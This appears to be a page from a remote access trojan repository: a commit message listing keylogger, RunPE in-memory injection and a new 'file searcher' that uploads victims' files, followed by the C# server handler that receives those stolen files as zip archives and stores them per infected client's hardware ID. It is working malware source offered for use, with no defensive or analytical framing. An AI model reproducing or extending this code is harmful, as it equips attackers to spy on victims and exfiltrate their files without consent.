fixed send to disk fixed keylogger [clipboard] #172 fixed installation added file searcher [to search and upload any file by it extension] updated plugin save method updated runpe send to memory minor improvements ```diff - You need to create a new stub from this version, and then use your old version to update all your clients, otherwise you won't be able to use the new plugins ```
38 lines
1.4 KiB
C#
38 lines
1.4 KiB
C#
using Server.Connection;
|
|
using Server.MessagePack;
|
|
using System;
|
|
using System.Collections.Generic;
|
|
using System.Drawing;
|
|
using System.IO;
|
|
using System.Linq;
|
|
using System.Text;
|
|
using System.Threading.Tasks;
|
|
using System.Windows.Forms;
|
|
|
|
namespace Server.Handle_Packet
|
|
{
|
|
public class HandlerFileSearcher
|
|
{
|
|
public async void SaveZipFile(Clients client, MsgPack unpack_msgpack)
|
|
{
|
|
try
|
|
{
|
|
string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder", unpack_msgpack.ForcePathObject("Hwid").AsString, "FileSearcher");
|
|
if (!Directory.Exists(fullPath))
|
|
Directory.CreateDirectory(fullPath);
|
|
await Task.Run(() =>
|
|
{
|
|
byte[] zipFile = unpack_msgpack.ForcePathObject("ZipFile").GetAsBytes();
|
|
File.WriteAllBytes(fullPath + "//" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".zip", zipFile);
|
|
});
|
|
new HandleLogs().Addmsg($"Client {client.Ip} file searcher was successfully @ ClientsFolder/{unpack_msgpack.ForcePathObject("Hwid").AsString}/FileSearcher", Color.Purple);
|
|
client.Disconnected();
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
new HandleLogs().Addmsg($"FileSearcher {ex.Message}", Color.Red);
|
|
}
|
|
}
|
|
}
|
|
}
|